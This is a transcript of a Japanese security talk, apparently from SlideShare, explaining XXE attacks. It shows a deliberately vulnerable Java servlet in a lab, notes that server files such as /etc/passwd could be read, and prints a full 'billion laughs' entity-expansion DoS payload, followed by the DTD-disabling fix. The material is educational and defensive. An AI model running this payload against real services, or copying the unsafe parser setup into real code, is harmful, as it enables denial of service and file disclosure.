Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

いまさら話題のXML

196 views

Published on

OWASP Top10 2017に突如XMLの脆弱性が現れました。
なぜこの脆弱性がランクインしたかはさておき、気になったので調べてみました。

  • Be the first to comment

  • Be the first to like this

いまさら話題のXML

  1. 1. いまさら話題のXML ~XXE攻撃のお話~ @shunaroo とっしんの会 #2 2017/12/17
  2. 2. 自己紹介 @shunaroo  社会人5年目の社内SE  社内向けシステム開発とか社内PJの支援とか  社内のセキュリティ対策整備(今年から)  興味ある事  セキュリティ(どちらかというと攻撃の方)  ディープラーニング NEW!  とっしんの会 #1にて、ディープラーニング常識的な感じだったので 焦って勉強中  久々の数式に悪戦苦闘しながらも割と楽しい コレ
  3. 3. 今日のお話 最近話題のXML ~キーワード~ ・XML ・XXE攻撃 ・OWASP
  4. 4. なんでいまさらXML? 突如 流星の如く OWASP TOP 10にXMLの攻撃がランクインしたため コレ
  5. 5. OWASPとは? OWASP(Open Web Application Security Project) Webアプリのセキュリティのコミュニティ ・セキュリティの現状調査 ・セキュアな開発を促進 https://www.owasp.org/index.php/Main_Page みんなでセキュアに していこう!
  6. 6. OWASP TOP10とは? 特に注意したほうがよいとされる10のWebアプリケーション脆弱性 ・3,4年で更新される ・この10個をセキュリティ対策範囲やテスト範囲としているベンダもある (この範囲が変わると大変な人もいる) https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASPではTOP10のほかにも便利な成果物を多数リリース ・脆弱性診断ツール ・セキュア開発ドキュメント などなど
  7. 7. なんでXMLの脆弱性がランクイン? それは誰もわからない Twitterでも疑問の嵐
  8. 8. 理由はともあれとりあえず調べてみた
  9. 9. XML(ExtensibleMarkupLanguage) ・「意味」と「内容」を分けたデータ形式 プレゼン表紙をXML形式にするとこんなの↓ <presentation> <title>Too Late Topic of XML</title> <speaker> shunaroo</speaker> </presentation> 参考)CSV形式の場合 “Too Late Topic of XML”, shunaroo まずはXMLのおさらい データの意味がわかりやすい 発表者がだれかわかる データの意味がわかりにくい shunarooとは?(哲学)
  10. 10. 実はいろいろなところで使われている 主な用途はプログラミングの設定ファイル 参照 あなたの好きなサイトやソフトの裏側 すごいプログラム XML形式の設定 みんな大好きOffice製品のデータ形式(○○x)のXはXMLの意味 XMLが使われていることを確認する方法 拡張子を ZIPに変更 展開 Yeah!!
  11. 11. XMLにかかせないDTD XMLは自由に書くことはできるが、 いろいろな人が使う場合自由すぎるとカオスになる(争いの元)
  12. 12. XMLにかかせないDTD いろいろな人が使う場合、ルールがほしくなる(ないとカオス) ⇒DTD(Document Type Definition)でXMLのルールを定義する プレゼン表紙XMLのDTD <!DOCTYPE presentation [ <!ELEMENT presentation(title, presenter)> <!ELEMENT title(#PCDATA)> <!ELEMENT speaker (#PCDATA)> ]> 一番上のタグの名前を定義 一番上のタグの要素を定義 タグの中に2つのタグがあることを表す タグの要素をそれぞれ定義 <presentation> <title> Too Late Topic of XML </title> <speaker> shunaroo</ speaker > </presentation>ルールに従って作ったのがコレ タグの要素をそれぞれ定義 タグの中身は文字が入ることを表す
  13. 13. 便利な実体参照 繰り返し使う文字やまとまりを毎回いちいち書くのは面倒 同じところをすべて直すのも面倒 ⇒実体参照(&実体名;)を使う <!DOCTYPE presentation [ <!ENTITY refTitle " Too Late Topic of XML "> <!ENTITY refSpeaker SYSTEM "K:speaker.xml"> ]> <presentation> <title>&refTitle;</title> <speaker>&refSpeaker;</speaker> </presentation> shunaroo Too late Topic of XMLと書くのとのと同じ shunarooと書くのと同じ
  14. 14. おさらいはここまで
  15. 15. XXE攻撃とは? XML External Entity=XMLの外部実体参照のこと XXE攻撃 外部実体参照の脆弱性をついた攻撃 主な目的は2つ ①情報の搾取 外部実体参照の仕組みを利用し、サーバ内の情報を得ようとする ②サービス停止 参照をさせまくり、サービスに負荷をかける
  16. 16. 実際やってみた
  17. 17. 検証環境 サーブレットアプリを作成し、リクエストの中身を書き換えて攻撃してみた ブラウザ(クローム) サーバ(Tomcat) プロキシツール(Burp Suite) ブラウザからサーバへのリクエスト を書き換える OS(Windows) にゃ~ん
  18. 18. アプリについて TitleタグとSpeakerタグの要素を画面に表示するだけ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/plain; charset=UTF-8"); PrintWriter out = response.getWriter(); try { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document doc = builder.parse(new InputSource(request.getInputStream())); String title = doc.getElementsByTagName("title").item(0).getTextContent(); String speaker = doc.getElementsByTagName("speaker").item(0).getTextContent(); out.println("Title:" + title + " Speaker:" + speaker); } catch (Exception e) { e.printStackTrace(); } } 超参考:https://www.mbsd.jp/blog/20171130.html 要素を取得 取得した要素を表示
  19. 19. まずは正常のリクエスト BurpSuiteで普通のリクエストをサーバに送信 各タグの要素を表示 BodyにXMLを記載
  20. 20. ん?
  21. 21. 実はXXE攻撃の片りん(①情報の搾取) サーバと同じ権限でファイルの中身表示できちゃううううううううううううう Linux系だったら/etc/passwdを指定すれば パスワードファイルがのぞけちゃうOMG!
  22. 22. XXE攻撃(②サービス停止) 外部参照しまくる <!DOCTYPE presentation [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;"> ]> <presentation> <title>Too Late Topic of XML</title> <speaker>shunaroo&lol10;</speaker> </presentation>
  23. 23. XXE攻撃(②サービス停止) 外部参照しまくる <!DOCTYPE presentation [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;"> ]> <presentation> <title>Too Late Topic of XML</title> <speaker>shunaroo&lol10;</speaker> </presentation> 参照回数 10回 100回 1000回 1万回 10万回 100万回 1000万回 1億回 10億回 一つの実体参照に見えるが 10億回の参照が発生 めっちゃ地味な嫌がらせ
  24. 24. XXE攻撃(②サービス停止) 外部参照しまくる 何も出ない
  25. 25. XXE攻撃(②サービス停止) 外部参照しまくる サーバ側でExceptionが発生していた JDK1.7では64000回までの拡張制限があった 言語やフレームワークによっては DoS攻撃が成功しない場合もある模様
  26. 26. XXE攻撃の対策 外部からのDTDを許可しない!!
  27. 27. 例えばさっきのアプリの場合 DTD宣言の無効化設定を追加 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/plain; charset=UTF-8"); PrintWriter out = response.getWriter(); try { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); DocumentBuilder builder = factory.newDocumentBuilder(); Document doc = builder.parse(new InputSource(request.getInputStream())); String title = doc.getElementsByTagName("title").item(0).getTextContent(); String speaker = doc.getElementsByTagName("speaker").item(0).getTextContent(); out.println("Title:" + title + " Speaker:" + speaker); } catch (Exception e) { e.printStackTrace(); } } 超参考:https://www.mbsd.jp/blog/20171130.html DTD無効化
  28. 28. 例えばさっきのアプリの場合 ◎DTDがある場合、 何も表示しなくなった
  29. 29. まとめ 今日の話 XMLの外部実体参照にまつわる攻撃と対策 対策/教訓 そもそも知らない人からもらったDTDを信用しない セキュリティの世界は性悪説が基本 入力系セキュリティ対策=すべて基本的に疑う!
  30. 30. 参考 XXE攻撃 基本編 https://www.mbsd.jp/blog/20171130.html OWASP https://www.owasp.org/index.php/Main_Page Burp Suite https://portswigger.net/burp

×